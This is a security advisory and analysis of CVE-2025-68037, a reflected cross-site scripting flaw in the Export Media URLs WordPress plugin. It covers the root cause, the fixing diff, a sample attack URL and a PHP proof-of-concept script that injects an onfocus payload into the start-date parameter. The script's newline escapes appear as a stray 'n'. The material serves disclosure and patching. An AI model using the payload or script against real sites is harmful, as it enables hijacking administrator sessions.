Atomic Edge analysis of CVE-2025-68037:
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Export Media URLs WordPress plugin, affecting versions up to and including 2.2. The vulnerability resides in the plugin’s administrative interface, allowing unauthenticated attackers to inject arbitrary JavaScript via URL parameters. The CVSS score of 6.1 reflects a medium severity rating.
Atomic Edge research identifies the root cause as insufficient output escaping for user-controlled variables echoed directly into HTML attributes. The vulnerable code is located in the `export-media-urls/classes/class-export-media-urls-admin.php` file. Specifically, lines 177 and 178 output the `$selected_start_date` and `$selected_end_date` variables into the `value` attributes of date input fields without proper escaping. The `$selected_start_date` and `$selected_end_date` variables are derived from the `start-date` and `end-date` GET parameters, which the plugin fails to sanitize before use.
Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload within the `start-date` or `end-date` GET parameters and trick an authenticated administrator into clicking the link. The target endpoint is the plugin’s settings page, typically accessible at `/wp-admin/tools.php?page=export-media-urls`. A sample attack URL would be `https://target.site/wp-admin/tools.php?page=export-media-urls&start-date=” onfocus=”alert(document.domain)” autofocus=”`. When the victim loads this page, the unsanitized payload renders in the date input field, executing the script in the administrator’s browser context.
The patch in version 2.3 addresses the vulnerability by applying proper output escaping functions. In the diff, lines 177 and 178 are modified to wrap the `$selected_start_date` and `$selected_end_date` variables with `esc_attr()`. This function encodes special characters for safe use within HTML attributes, neutralizing any embedded scripts. The patch also introduces escaping for the `$key` variable in line 543 using `esc_attr()` and the `$val` variable using `esc_html()`, fixing a secondary XSS vector in the table header generation logic.
Successful exploitation grants an attacker the ability to execute arbitrary JavaScript within the WordPress administrator’s session. This can lead to session hijacking, privilege escalation, site defacement, or the creation of new administrative accounts. Attackers could also redirect administrators to malicious sites or force actions within the WordPress dashboard, such as installing backdoor plugins.
--- a/export-media-urls/classes/class-export-media-urls-admin.php
+++ b/export-media-urls/classes/class-export-media-urls-admin.php
@@ -176,8 +176,8 @@
<label><input type="radio" name="date-range" value="range" <?php echo $selected_date_range == 'range' ? 'checked' : ''; ?> required="required" onclick="showRangeFields()" /> <?php echo esc_html__('Between Dates', self::PLUGIN_TEXT_DOMAIN); ?></label><br />
<div id="dateRange" style="display: <?php echo $selected_date_range == 'range' ? 'block' : 'none'; ?>">
- <?php echo esc_html__('From:', self::PLUGIN_TEXT_DOMAIN); ?> <input type="date" name="start-date" value="<?php echo $selected_start_date; ?>" />
- <?php echo esc_html__('To:', self::PLUGIN_TEXT_DOMAIN); ?> <input type="date" name="end-date" value="<?php echo $selected_end_date; ?>" />
+ <?php echo esc_html__('From:', self::PLUGIN_TEXT_DOMAIN); ?> <input type="date" name="start-date" value="<?php echo esc_attr($selected_start_date); ?>" />
+ <?php echo esc_html__('To:', self::PLUGIN_TEXT_DOMAIN); ?> <input type="date" name="end-date" value="<?php echo esc_attr($selected_end_date); ?>" />
</div>
</td>
@@ -529,9 +529,9 @@
fclose($file);
$csv_download_url = $upload_directory['url'] . "/" . $csv_file_name . ".CSV";
- $success_message = __("Media Data Exported Successfully! <a href='$csv_download_url' target='_blank'><strong>Click here</strong></a> to Download.", Constants::PLUGIN_TEXT_DOMAIN);
-
- echo "<div class='updated' style='width: 97%'>$success_message</div>";
+ $success_message = sprintf(esc_html__('Media Data Exported Successfully! %s to Download.', Constants::PLUGIN_TEXT_DOMAIN), '<a href="' . esc_url($csv_download_url) . '" target="_blank"><strong>' . esc_html__('Click here', Constants::PLUGIN_TEXT_DOMAIN) . '</strong></a>');
+
+ echo '<div class="updated" style="width: 97%">' . $success_message . '</div>';
echo "<div class='notice notice-warning' style='width: 97%'>" . __('Once you have downloaded the file, it is recommended to delete file from the server, for security reasons.', Constants::PLUGIN_TEXT_DOMAIN) . " <a href='" . wp_nonce_url(admin_url('tools.php?page=' . Constants::PLUGIN_SETTINGS_PAGE_SLUG . '&del=y&f=') . base64_encode($csv_file_path)) . "' ><strong>" . __('Click Here', Constants::PLUGIN_TEXT_DOMAIN) . "</strong></a> " . __('to delete the file. And don't worry, you can always regenerate anytime. :)', Constants::PLUGIN_TEXT_DOMAIN) . "</div>";
@@ -543,7 +543,7 @@
foreach ($headers as $key => $val) {
if (isset($data[$key])) {
- $tableHtml .= "<th id='$key'>$val</th>";
+ $tableHtml .= "<th id='" . esc_attr($key) . "'>" . esc_html($val) . "</th>";
}
}
--- a/export-media-urls/export-media-urls.php
+++ b/export-media-urls/export-media-urls.php
@@ -4,7 +4,7 @@
* Plugin Name: Export Media URLs
* Plugin URI: https://wordpress.org/plugins/export-media-urls/
* Description: This plugin allows you to extract all URLs of your media, along with title, date, and type. It supports writing output in CSV file, or you can view URLs within the dashboard. It can be very useful during migration, seo analysis and security audit.
- * Version: 2.2
+ * Version: 2.3
* Author: Atlas Gondal
* Author URI: https://AtlasGondal.com/
* License: GPL2
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68037 - Export Media URLs <= 2.2 - Reflected Cross-Site Scripting
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/tools.php';
// Malicious payload to inject into the start-date parameter.
// This payload closes the value attribute and adds an onfocus event handler.
$payload = '" onfocus="alert(`XSS: ${document.domain}`)" autofocus="';
// Construct the attack URL targeting the plugin's admin page.
$attack_url = $target_url . '?page=export-media-urls&start-date=' . urlencode($payload);
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// For demonstration, we send the request and check if the payload appears in the response.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
// Search for the unsanitized payload in the HTML.
if (strpos($response, $payload) !== false) {
echo "[+] Vulnerability likely present. Payload found in response.n";
echo "[+] Attack URL: $attack_urln";
echo "[+] Send this URL to an authenticated admin user to trigger XSS.n";
} else {
echo "[-] Payload not found in response. Site may be patched.n";
}
} else {
echo "[-] HTTP request failed with code: $http_coden";
}
?>
